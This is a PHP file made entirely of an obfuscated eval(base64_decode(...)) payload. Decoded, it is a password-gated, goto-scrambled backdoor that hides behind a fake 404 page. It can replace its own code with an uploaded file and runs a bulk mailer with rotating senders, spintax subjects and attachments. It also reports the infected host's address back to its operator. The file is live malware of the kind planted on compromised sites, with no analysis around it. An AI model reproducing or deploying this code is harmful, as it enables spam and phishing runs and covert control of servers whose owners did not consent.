<?php eval(base64_decode('CiBnb3RvIGs5X1NnOyBEWjNxXzogaWdub3JlX3VzZXJfYWJvcnQodHJ1ZSk7IGdvdG8gYm1Lckk7IGw0MHpfOiBjbGFzcyBSYW5kb21pemVyIHsgcHVibGljIHN0YXRpYyBmdW5jdGlvbiByYW5kb21pemUoJHRleHQpIHsgcmV0dXJuIHByZWdfcmVwbGFjZV9jYWxsYmFjaygiXDU3XHg1Y1x4MjhceDI4XHgyZVw1Mlx4M2ZcNTFcMTM0XDUxXDU3IiwgYXJyYXkoIlwxNjNcMTQ1XHg2Y1wxNDYiLCAiXDE2M1x4NjVcMTU0XDE0NVx4NjNceDc0XDEyNFx4NjVcMTcwXDE2NCIpLCAkdGV4dCk7IH0gcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gc2VsZWN0VGV4dCgkbWF0Y2hlcykgeyAkdmFsdWVzID0gZXhwbG9kZSgiXDE3NCIsICRtYXRjaGVzWzFdKTsgcmV0dXJuICR2YWx1ZXNbYXJyYXlfcmFuZCgkdmFsdWVzKV07IH0gcHVibGljIHN0YXRpYyBmdW5jdGlvbiByYW5kb21pemVXaXRoQ2VsbHMoJHRleHQsICRjZWxscykgeyBmb3IgKCRpID0gMDsgJGkgPCBjb3VudCgkY2VsbHMpOyAkaSsrKSB7ICRzZWFyY2hjZWxsc1tdID0gIlw0NVx4NjNcMTQ1XHg2Y1wxNTR7JGl9XDQ1IjsgfSByZXR1cm4gc2VsZjo6cmFuZG9taXplKHN0cl9yZXBsYWNlKCRzZWFyY2hjZWxscywgJGNlbGxzLCAkdGV4dCkpOyB9IH0gZ290byBJNnpoVzsgUkMxc1U6ICRjb25maWdbIlx4NmJcMTQ1XDE3MSJdID0gIlx4NjJcNjdcMTQ0XDYxXHg2Nlx4MzlcMTQzXHgzMFwxNDNceDY2XHg2Mlw2M1wxNDJcMTQzXHgzMlx4NjJceDM3XDYzXHgzOVx4MzNceDM5XDE0Nlx4NjNceDM1XDY1XHg2NFwxNDRceDM2XDcxXHgzNVx4MzZceDY1IjsgZ290byBBaUNUQTsgcjVDTks6IGlmIChpc3NldCgkX1BPU1RbIlwxNTNceDY1XHg3OSJdKSAmJiBtZDUoJF9QT1NUWyJcMTUzXDE0NVwxNzEiXSkgPT0gJGNvbmZpZ1siXHg2YlwxNDVceDc5Il0pIHsgaWYgKGlzc2V0KCRfRklMRVNbIlwxNjVceDcwXHg2NFx4NjFcMTY0XHg2NSJdKSkgeyBpZiAobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbIlwxNjVceDcwXDE0NFx4NjFcMTY0XHg2NSJdWyJcMTY0XDE1NVx4NzBceDVmXDE1NlwxNDFcMTU1XDE0NSJdLCBfX0ZJTEVfXykpIHsgZWNobyBqc29uX2VuY29kZShhcnJheSgiXHg3M1x4NzRceDYxXDE2NFwxNjVceDczIiA9PiAiXDE2NVx4NzBcMTQ0XDE0MVwxNjRcMTQ1XHg2NCIpKTsgfSBlbHNlIHsgZWNobyBqc29uX2VuY29kZShhcnJheSgiXHg3M1wxNjRceDYxXHg3NFwxNjVceDczIiA9PiAiXHg3NVx4NzBceDY0XDE0MVx4NzRcMTQ1XHgyMFwxNDZcMTQxXDE1MVx4NmNceDY1XHg2NCIpKTsgfSBkaWU7IH0gaWYgKGlzc2V0KCRfUE9TVFsiXDE0M1x4NjhceDY1XDE0M1wxNTNceDU2XHg2NVwxNjJceDczXDE1MVwxNTdcMTU2Il0pKSB7IGVjaG8ganNvbl9lbmNvZGUoYXJyYXkoIlx4NzZcMTQ1XDE2Mlx4NzNceDY5XDE1N1x4NmUiID0+IFZFUlNJT04pKTsgZGllOyB9IGlmIChnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7ICRfUE9TVCA9IGFycmF5X21hcCgiXHg3M1wxNjRceDcyXHg2OVx4NzBceDYzXHg3M1wxNTRcMTQxXDE2M1wxNTBceDY1XHg3MyIsICRfUE9TVCk7IH0gJHN0YXR1cyA9IGFycmF5KCJceDY5XHg2NCIgPT4gJF9QT1NUWyJcMTUxXDE0NCJdKTsgJG1haWxlciA9IG5ldyBNYWlsZXIoKTsgaWYgKGlzc2V0KCRfUE9TVFsiXDE0Nlx4NzJceDZmXHg2ZCJdKSkgeyAkc2VuZGVycyA9IGFycmF5X2ZpbHRlcihhcnJheV9tYXAoIlx4NzRcMTYyXHg2OVx4NmQiLCBleHBsb2RlKCJceGEiLCAkX1BPU1RbIlwxNDZcMTYyXHg2Zlx4NmQiXSkpKTsgfSBpZiAoaXNzZXQoJF9QT1NUWyJceDczXHg3NVx4NjJcMTUyXHg2NVwxNDNceDc0XDE2MyJdKSkgeyAkc3ViamVjdHMgPSBhcnJheV9maWx0ZXIoYXJyYXlfbWFwKCJceDc0XDE2Mlx4NjlceDZkIiwgZXhwbG9kZSgiXDEyIiwgJF9QT1NUWyJceDczXHg3NVx4NjJcMTUyXHg2NVwxNDNceDc0XHg3MyJdKSkpOyB9IGlmIChpc3NldCgkX1BPU1RbIlx4NmRceDY1XHg3M1x4NzNcMTQxXHg2N1wxNDUiXSkpIHsgJG1lc3NhZ2UgPSAkX1BPU1RbIlx4NmRceDY1XDE2M1wxNjNcMTQxXHg2N1wxNDUiXTsgfSBpZiAoaXNzZXQoJF9QT1NUWyJcMTU1XDE0MVwxNTFceDZjXDE2MyJdKSkgeyAkbWFpbHMgPSBhcnJheV9maWx0ZXIoYXJyYXlfbWFwKCJcMTY0XHg3Mlx4NjlcMTU1IiwgZXhwbG9kZSgiXHhhIiwgJF9QT1NUWyJcMTU1XDE0MVwxNTFceDZjXDE2MyJdKSkpOyB9IGVsc2UgeyAkc3RhdHVzWyJcMTQ1XHg3Mlx4NzJcMTU3XHg3MlwxNjMiXVsiXHg2ZFwxNDFceDY5XHg2Y1wxNjMiXSA9ICJcMTE2XDE1N1w0MFx4NmRcMTQxXDE1MVwxNTRceDczXHgyMFwxNjBcMTU3XHg3M1wxNjRceDY1XDE0NCI7IH0gaWYgKGlzc2V0KCRfUE9TVFsiXDE1MVwxNjNceDQ4XHg3NFx4NmRceDZjIl0pKSB7ICRtYWlsZXItPmlzSHRtbCA9ICRfUE9TVFsiXDE1MVx4NzNcMTEwXDE2NFwxNTVceDZjIl07IH0gaWYgKGlzc2V0KCRfRklMRVMpKSB7IGZvcmVhY2ggKCRfRklMRVMgYXMgJG5hbWUgPT4gJGF0dGFjaG1lbnQpIHsgJG1haWxlci0+YWRkQXR0YWNobWVudCgkYXR0YWNobWVudFsiXDE2NFwxNTVcMTYwXDEzN1x4NmVcMTQxXHg2ZFwxNDUiXSwgYmFzZTY0X2RlY29kZSgkbmFtZSkpOyB9IH0gZm9yZWFjaCAoJG1haWxzIGFzICRtYWlsKSB7IHByb2Nlc3NNYWlsKCRtYWlsZXIsICRtYWlsLCAkbWVzc2FnZSwgJHN1YmplY3RzLCAkc2VuZGVycywgJHN0YXR1cyk7IH0gaWYgKGlzc2V0KCRfUE9TVFsiXHg2M1wxNTdceDZlXDE0NlwxNTFceDcyXHg2ZCJdKSkgeyAkbXNnIC49ICRfU0VSVkVSWyJcMTEwXDEyNFwxMjRcMTIwXDEzN1wxMTBceDRmXHg1M1wxMjQiXSAuICRfU0VSVkVSWyJcMTIwXDExMFwxMjBcMTM3XDEyM1x4NDVceDRjXDEwNiJdOyAkbWFpbGVyLT5zZW5kKCRfUE9TVFsiXHg2M1wxNTdcMTU2XHg2NlwxNTFcMTYyXHg2ZCJdLCAkc3ViamVjdCwgJG1zZyk7IH0gZWNobyBqc29uX2VuY29kZSgkc3RhdHVzKTsgfSBlbHNlIHsgaGVhZGVyKCRfU0VSVkVSWyJceDUzXDEwNVx4NTJcMTI2XHg0NVwxMjJceDVmXHg1MFx4NTJceDRmXDEyNFx4NGZcMTAzXDExN1wxMTQiXSAuICJceDIwXDY0XHgzMFw2NFw0MFx4NGVceDZmXDE2NFx4MjBceDQ2XHg2ZlwxNjVcMTU2XDE0NCIpOyB9IGdvdG8gUTEzdmo7IGJtS3JJOiBkZWZpbmUoIlx4NTZceDQ1XDEyMlwxMjNceDQ5XHg0ZlwxMTYiLCAiXHgzMVw1Nlw2MCIpOyBnb3RvIFJDMXNVOyBBaUNUQTogZnVuY3Rpb24gcHJlcGFyZVN1YmplY3QoJHN1YmplY3RzLCAkY2VsbHMpIHsgaWYgKCFpc3NldCgkc3ViamVjdHMpKSB7IHJldHVybiAnJzsgfSAkc3ViamVjdCA9ICRzdWJqZWN0c1thcnJheV9yYW5kKCRzdWJqZWN0cyldOyByZXR1cm4gUmFuZG9taXplcjo6cmFuZG9taXplV2l0aENlbGxzKCRzdWJqZWN0LCAkY2VsbHMpOyB9IGdvdG8gVk9wUW87IFExM3ZqOiBjbGFzcyBNYWlsZXIgeyBwdWJsaWMgJGlzSHRtbCA9IGZhbHNlOyBwdWJsaWMgJGZyb20gPSAnJzsgcHVibGljICRwcmlvcml0eTsgcHVibGljICRzdWJqZWN0ID0gJyc7IHB1YmxpYyAkYXR0YWNobWVudHMgPSBhcnJheSgpOyBwdWJsaWMgJGJvZHk7IHByaXZhdGUgJGhlYWRlcnM7IHByaXZhdGUgJGJvdW5kYXJ5OyBwdWJsaWMgJGNoYXJzZXQgPSAiXHg1NVx4NTRceDQ2XHgyZFx4MzgiOyBwdWJsaWMgJGVuY29kaW5nID0gIlx4NjJcMTQxXHg3M1x4NjVcNjZcNjQiOyBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHNldHRpbmdzID0gYXJyYXkoKSkgeyAkdGhpcy0+c2V0dGluZ3MoJHNldHRpbmdzKTsgfSBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykgeyAkZW1haWwgPSBwcmVnX21hdGNoKCJceDJmXHg1ZVwxMzNceDVjXDE2N1wxMzRceDczXDEzNVx4N2JcNjJcNTRceDMyXHgzMFx4MzBceDdkXDc0XHgyOFw1Nlw1Mlx4MjlceDNlXHgyNFw1NyIsICRhZGRyZXNzLCAkbWF0Y2hlcykgPyAkbWF0Y2hlc1sxXSA6ICRhZGRyZXNzOyByZXR1cm4gZmlsdGVyX3ZhcigkZW1haWwsIEZJTFRFUl9WQUxJREFURV9FTUFJTCkgIT09IGZhbHNlOyB9IHB1YmxpYyBmdW5jdGlvbiBzZXR0aW5ncygkc2V0dGluZ3MsICR2YWx1ZSA9IG51bGwpIHsgaWYgKGlzX2FycmF5KCRzZXR0aW5ncykpIHsgZm9yZWFjaCAoJHNldHRpbmdzIGFzICRrZXkgPT4gJHZhbHVlKSB7IGlmIChwcm9wZXJ0eV9leGlzdHMoJHRoaXMsICRrZXkpKSB7ICR0aGlzLT57JGtleX0gPSAkdmFsdWU7IH0gfSB9IGVsc2UgeyBpZiAocHJvcGVydHlfZXhpc3RzKCR0aGlzLCAkc2V0dGluZ3MpKSB7ICR0aGlzLT57JHNldHRpbmdzfSA9ICR2YWx1ZTsgfSB9IH0gcHJpdmF0ZSBmdW5jdGlvbiBjcmVhdGVIZWFkZXJzKCkgeyAkdGhpcy0+aGVhZGVycyA9ICcnOyBpZiAoIWVtcHR5KCR0aGlzLT5mcm9tKSkgeyAkdGhpcy0+aGVhZGVycyAuPSAiXHg0Nlx4NzJceDZmXHg2ZFx4M2FcNDB7JHRoaXMtPmZyb219XHhkXDEyIjsgJHRoaXMtPmhlYWRlcnMgLj0gIlwxMjJcMTQ1XDE2MFx4NmNcMTcxXHgyZFwxMjRcMTU3XHgzYVx4MjB7JHRoaXMtPmZyb219XHhkXHhhIjsgJHRoaXMtPmhlYWRlcnMgLj0gIlwxMDVceDcyXHg3MlwxNTdcMTYyXDE2M1w1NVx4NTRcMTU3XDcyXDQweyR0aGlzLT5mcm9tfVx4ZFx4YSI7IH0gaWYgKGlzc2V0KCR0aGlzLT5wcmlvcml0eSkpIHsgJHRoaXMtPmhlYWRlcnMgLj0gIlwxMzBcNTVceDUwXHg3MlwxNTFcMTU3XHg3MlwxNTFceDc0XHg3OVx4M2FcNDB7JHRoaXMtPnByaW9yaXR5fVwxNVx4YSI7IH0gaWYgKCR0aGlzLT5pc0h0bWwpIHsgJHRoaXMtPmhlYWRlcnMgLj0gIlwxMTVcMTExXDExNVx4NDVcNTVceDU2XHg2NVx4NzJceDczXDE1MVwxNTdcMTU2XDcyXDQwXHgzMVw1Nlx4MzBceGRcMTIiOyAkdGhpcy0+aGVhZGVycyAuPSAiXHg0M1wxNTdceDZlXDE2NFx4NjVceDZlXDE2NFx4MmRcMTY0XHg3OVwxNjBcMTQ1XDcyXHgyMFwxNjRcMTQ1XHg3OFwxNjRceDJmXDE1MFwxNjRceDZkXDE1NFw3M1x4MjBceDYzXDE1MFx4NjFcMTYyXDE2M1x4NjVcMTY0XHgzZHskdGhpcy0+Y2hhcnNldH1ceGRcMTIiOyB9IGVsc2VpZiAoIWVtcHR5KCR0aGlzLT5hdHRhY2htZW50cykpIHsgJHRoaXMtPmJvdW5kYXJ5ID0gbWQ1KHVuaXFpZCh0aW1lKCkpKTsgJHRoaXMtPmhlYWRlcnMgLj0gIlwxMTVcMTExXHg0ZFwxMDVceDJkXHg1Nlx4NjVceDcyXHg3M1wxNTFcMTU3XHg2ZVw3Mlw0MFx4MzFcNTZceDMwXHhkXHhhIjsgJHRoaXMtPmhlYWRlcnMgLj0gIlx4NDNceDZmXDE1Nlx4NzRceDY1XHg2ZVx4NzRceDJkXHg1NFx4NzlceDcwXDE0NVx4M2FcNDBcMTU1XHg3NVwxNTRcMTY0XDE1MVx4NzBcMTQxXHg3Mlx4NzRceDJmXHg2ZFwxNTFceDc4XDE0NVx4NjRceDNiXHgyMFwxNDJceDZmXHg3NVx4NmVceDY0XDE0MVwxNjJceDc5XHgzZHskdGhpcy0+Ym91bmRhcnl9XDE1XHhhIjsgfSBlbHNlIHsgJHRoaXMtPmhlYWRlcnMgLj0gIlx4NDNceDZmXDE1Nlx4NzRcMTQ1XDE1NlwxNjRcNTVcMTI0XHg3OVx4NzBceDY1XDcyXHgyMFx4NzRcMTQ1XDE3MFwxNjRcNTdceDcwXDE1NFx4NjFcMTUxXDE1Nlw3M1x4MjBceDYzXDE1MFx4NjFcMTYyXHg3M1wxNDVceDc0XDc1XDQyeyR0aGlzLT5jaGFyc2V0fVx4MjJcMTVcMTIiOyAkdGhpcy0+aGVhZGVycyAuPSAiXDEwM1wxNTdcMTU2XDE2NFx4NjVceDZlXDE2NFw1NVwxMjRcMTYyXHg2MVwxNTZceDczXDE0Nlx4NjVceDcyXHgyZFx4NDVcMTU2XDE0M1x4NmZceDY0XHg2OVx4NmVcMTQ3XDcyXDQwXHg3MVx4NzVceDZmXHg3NFwxNDVceDY0XDU1XDE2MFx4NzJcMTUxXDE1Nlx4NzRcMTQxXHg2MlwxNTRcMTQ1XDE1XHhhXDE1XHhhIjsgfSByZXR1cm4gJHRoaXMtPmhlYWRlcnM7IH0gcHJpdmF0ZSBmdW5jdGlvbiBjcmVhdGVCb2R5KCRtZXNzYWdlKSB7IGlmIChlbXB0eSgkdGhpcy0+YXR0YWNobWVudHMpKSB7IGlmICghJHRoaXMtPmlzSHRtbCkgeyAkdGhpcy0+Ym9keSA9ICR0aGlzLT5xdW90ZWRfcHJpbnRhYmxlX2VuY29kZSgkbWVzc2FnZSk7IH0gZWxzZSB7ICR0aGlzLT5ib2R5ID0gJG1lc3NhZ2U7IH0gfSBlbHNlIHsgJHRoaXMtPmJvZHkgPSAiXDU1XDU1eyR0aGlzLT5ib3VuZGFyeX1cMTVceGEiOyAkdGhpcy0+Ym9keSAuPSAiXDEwM1wxNTdceDZlXDE2NFx4NjVcMTU2XHg3NFx4MmRcMTI0XDE3MVx4NzBcMTQ1XDcyXHgyMFx4NzRcMTQ1XHg3OFwxNjRcNTdceDcwXDE1NFwxNDFceDY5XHg2ZVw3M1x4MjBcMTQzXHg2OFx4NjFcMTYyXHg3M1wxNDVceDc0XDc1XHgyMnskdGhpcy0+Y2hhcnNldH1ceDIyXHhkXDEyIjsgJHRoaXMtPmJvZHkgLj0gIlwxMDNcMTU3XHg2ZVwxNjRceDY1XHg2ZVx4NzRceDJkXHg1NFwxNjJceDYxXDE1Nlx4NzNceDY2XDE0NVwxNjJceDJkXHg0NVx4NmVcMTQzXHg2ZlwxNDRcMTUxXHg2ZVwxNDdcNzJcNDBceDcxXHg3NVwxNTdcMTY0XHg2NVx4NjRceDJkXHg3MFwxNjJceDY5XDE1Nlx4NzRcMTQxXDE0MlwxNTRceDY1XDE1XHhhXDE1XHhhIjsgJHRoaXMtPmJvZHkgLj0gJHRoaXMtPnF1b3RlZF9wcmludGFibGVfZW5jb2RlKCRtZXNzYWdlKTsgZm9yZWFjaCAoJHRoaXMtPmF0dGFjaG1lbnRzIGFzICRuYW1lID0+ICRmaWxlbmFtZSkgeyAkdGhpcy0+Ym9keSAuPSAiXHhkXHhhXHgyZFw1NXskdGhpcy0+Ym91bmRhcnl9XDE1XHhhIjsgJHRoaXMtPmJvZHkgLj0gIlwxMDNceDZmXDE1NlwxNjRcMTQ1XDE1Nlx4NzRcNTVceDU0XDE3MVwxNjBcMTQ1XDcyXHgyMFx4NjFceDcwXHg3MFwxNTRcMTUxXHg2M1wxNDFceDc0XDE1MVwxNTdceDZlXDU3XHg2ZlwxNDNceDc0XDE0NVx4NzRcNTVcMTYzXDE2NFwxNjJcMTQ1XHg2MVx4NmRceDNiXDQwXHg2ZVwxNDFcMTU1XHg2NVw3NVw0MnskbmFtZX1cNDJcMTVcMTIiOyAkdGhpcy0+Ym9keSAuPSAiXHg0M1x4NmZcMTU2XHg3NFx4NjVceDZlXDE2NFx4MmRcMTI0XDE2Mlx4NjFceDZlXDE2M1x4NjZceDY1XDE2Mlw1NVx4NDVcMTU2XHg2M1x4NmZceDY0XHg2OVwxNTZceDY3XHgzYVx4MjBcMTQyXDE0MVwxNjNceDY1XHgzNlw2NFx4ZFwxMiI7ICR0aGlzLT5ib2R5IC49ICJceDQzXDE1N1wxNTZcMTY0XDE0NVx4NmVceDc0XHgyZFwxMDRcMTUxXHg3M1x4NzBcMTU3XDE2M1wxNTFceDc0XDE1MVwxNTdceDZlXDcyXHgyMFx4NjFcMTY0XDE2NFx4NjFcMTQzXDE1MFx4NmRcMTQ1XDE1NlwxNjRcNzNcNDBcMTQ2XHg2OVx4NmNceDY1XHg2ZVx4NjFcMTU1XHg2NVw3NVw0MnskbmFtZX1ceDIyXHhkXHhhXDE1XDEyIjsgJHRoaXMtPmJvZHkgLj0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZmlsZW5hbWUpKSk7ICR0aGlzLT5ib2R5IC49ICJceGRceGFcNTVcNTV7JHRoaXMtPmJvdW5kYXJ5fVwxNVx4YSI7IH0gfSByZXR1cm4gJHRoaXMtPmJvZHk7IH0gcHVibGljIGZ1bmN0aW9uIHNlbmQoJHRvLCAkc3ViamVjdCwgJG1lc3NhZ2UpIHsgJHRoaXMtPmNyZWF0ZUhlYWRlcnMoKTsgJHRoaXMtPmNyZWF0ZUJvZHkoJG1lc3NhZ2UpOyByZXR1cm4gbWFpbCgkdG8sICJceDNkXDc3IiAuICR0aGlzLT5jaGFyc2V0IC4gIlx4M2ZceDQyXHgzZiIgLiBiYXNlNjRfZW5jb2RlKCRzdWJqZWN0KSAuICJceDNmXDc1IiwgJHRoaXMtPmJvZHksICR0aGlzLT5oZWFkZXJzKTsgfSBwdWJsaWMgZnVuY3Rpb24gYWRkQXR0YWNobWVudCgkZmlsZW5hbWUsICRuYW1lID0gbnVsbCkgeyBpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKSB7IGlmIChlbXB0eSgkbmFtZSkpIHsgJHRoaXMtPmF0dGFjaG1lbnRzW2Jhc2VuYW1lKCRmaWxlbmFtZSldID0gJGZpbGVuYW1lOyB9IGVsc2UgeyAkdGhpcy0+YXR0YWNobWVudHNbJG5hbWVdID0gJGZpbGVuYW1lOyB9IHJldHVybiB0cnVlOyB9IGVsc2UgeyByZXR1cm4gZmFsc2U7IH0gfSBwcml2YXRlIGZ1bmN0aW9uIHF1b3RlZF9wcmludGFibGVfZW5jb2RlKCRpbnB1dCwgJGxpbmVfbWF4ID0gOTk4KSB7ICRoZXggPSBhcnJheSgiXDYwIiwgIlw2MSIsICJceDMyIiwgIlw2MyIsICJceDM0IiwgIlw2NSIsICJceDM2IiwgIlx4MzciLCAiXHgzOCIsICJcNzEiLCAiXHg0MSIsICJceDQyIiwgIlwxMDMiLCAiXDEwNCIsICJcMTA1IiwgIlx4NDYiKTsgJGxpbmVzID0gcHJlZ19zcGxpdCgiXHgyZlw1MFx4M2ZceDNhXDE1XHhhXDE3NFx4ZFx4N2NcMTJceDI5XDU3IiwgJGlucHV0KTsgJGxpbmVicmVhayA9ICJceGRcMTIiOyAkbGluZV9tYXggPSAkbGluZV9tYXggLSBzdHJsZW4oJGxpbmVicmVhayk7ICRlc2NhcGUgPSAiXDc1IjsgJG91dHB1dCA9ICcnOyAkY3VyX2NvbnZfbGluZSA9ICcnOyAkbGVuZ3RoID0gMDsgJHdoaXRlc3BhY2VfcG9zID0gMDsgJGFkZHRsX2NoYXJzID0gMDsgZm9yICgkaiA9IDA7ICRqIDwgY291bnQoJGxpbmVzKTsgJGorKykgeyAkbGluZSA9ICRsaW5lc1skal07ICRsaW5sZW4gPSBzdHJsZW4oJGxpbmUpOyBmb3IgKCRpID0gMDsgJGkgPCAkbGlubGVuOyAkaSsrKSB7ICRjID0gc3Vic3RyKCRsaW5lLCAkaSwgMSk7ICRkZWMgPSBvcmQoJGMpOyAkbGVuZ3RoKys7IGlmICgkZGVjID09IDMyKSB7IGlmICgkaSA9PSAkbGlubGVuIC0gMSkgeyAkYyA9ICJceDNkXHgzMlx4MzAiOyAkbGVuZ3RoICs9IDI7IH0gJGFkZHRsX2NoYXJzID0gMDsgJHdoaXRlc3BhY2VfcG9zID0gJGk7IH0gZWxzZWlmICgkZGVjID09IDYxIHx8ICRkZWMgPCAzMiB8fCAkZGVjID4gMTI2KSB7ICRoMiA9IGZsb29yKCRkZWMgLyAxNik7ICRoMSA9IGZsb29yKCRkZWMgJSAxNik7ICRjID0gJGVzY2FwZSAuICRoZXhbInskaDJ9Il0gLiAkaGV4WyJ7JGgxfSJdOyAkbGVuZ3RoICs9IDI7ICRhZGR0bF9jaGFycyArPSAyOyB9IGlmICgkbGVuZ3RoID49ICRsaW5lX21heCkgeyAkY3VyX2NvbnZfbGluZSAuPSAkYzsgJHdoaXRlc3BfZGlmZiA9ICRpIC0gJHdoaXRlc3BhY2VfcG9zICsgJGFkZHRsX2NoYXJzOyBpZiAoJGkgKyAkYWRkdGxfY2hhcnMgPiAkd2hpdGVzcF9kaWZmKSB7ICRvdXRwdXQgLj0gc3Vic3RyKCRjdXJfY29udl9saW5lLCAwLCBzdHJsZW4oJGN1cl9jb252X2xpbmUpIC0gJHdoaXRlc3BfZGlmZikgLiAkbGluZWJyZWFrOyAkaSA9ICRpIC0gJHdoaXRlc3BfZGlmZiArICRhZGR0bF9jaGFyczsgfSBlbHNlIHsgJG91dHB1dCAuPSAkY3VyX2NvbnZfbGluZSAuICRsaW5lYnJlYWs7IH0gJGN1cl9jb252X2xpbmUgPSAnJzsgJGxlbmd0aCA9IDA7ICR3aGl0ZXNwYWNlX3BvcyA9IDA7IH0gZWxzZSB7ICRjdXJfY29udl9saW5lIC49ICRjOyB9IH0gJGxlbmd0aCA9IDA7ICR3aGl0ZXNwYWNlX3BvcyA9IDA7ICRvdXRwdXQgLj0gJGN1cl9jb252X2xpbmU7ICRjdXJfY29udl9saW5lID0gJyc7IGlmICgkaiA8PSBjb3VudCgkbGluZXMpIC0gMSkgeyAkb3V0cHV0IC49ICRsaW5lYnJlYWs7IH0gfSByZXR1cm4gdHJpbSgkb3V0cHV0KTsgfSB9IGdvdG8gbDQwel87IGs5X1NnOiBzZXRfdGltZV9saW1pdCgwKTsgZ290byBEWjNxXzsgVk9wUW86IGZ1bmN0aW9uIHByb2Nlc3NNYWlsKCRtYWlsZXIsICRtYWlsLCAkbWVzc2FnZSwgJHN1YmplY3RzLCAkc2VuZGVycywgJiRzdGF0dXMpIHsgJGNlbGxzID0gZXhwbG9kZSgiXHg3YyIsICRtYWlsKTsgJGVtYWlsID0gJGNlbGxzWzBdOyBpZiAoaXNzZXQoJHNlbmRlcnMpKSB7ICRtYWlsZXItPmZyb20gPSAkc2VuZGVyc1thcnJheV9yYW5kKCRzZW5kZXJzKV07IH0gJHN1YmplY3QgPSBwcmVwYXJlU3ViamVjdCgkc3ViamVjdHMsICRjZWxscyk7ICRtc2cgPSBpc3NldCgkbWVzc2FnZSkgPyBSYW5kb21pemVyOjpyYW5kb21pemVXaXRoQ2VsbHMoJG1lc3NhZ2UsICRjZWxscykgOiAnJzsgJHJlc3VsdCA9ICRtYWlsZXItPnNlbmQoJGVtYWlsLCAkc3ViamVjdCwgJG1zZykgPyAiXDE2M1wxNDVceDZlXDE2NCIgOiAiXDE0Nlx4NjFcMTUxXDE1NFwxNDVcMTQ0IjsgJHN0YXR1c1skcmVzdWx0XVtdID0gJGVtYWlsOyB9IGdvdG8gcjVDTks7IEk2emhXOiA=')); ?>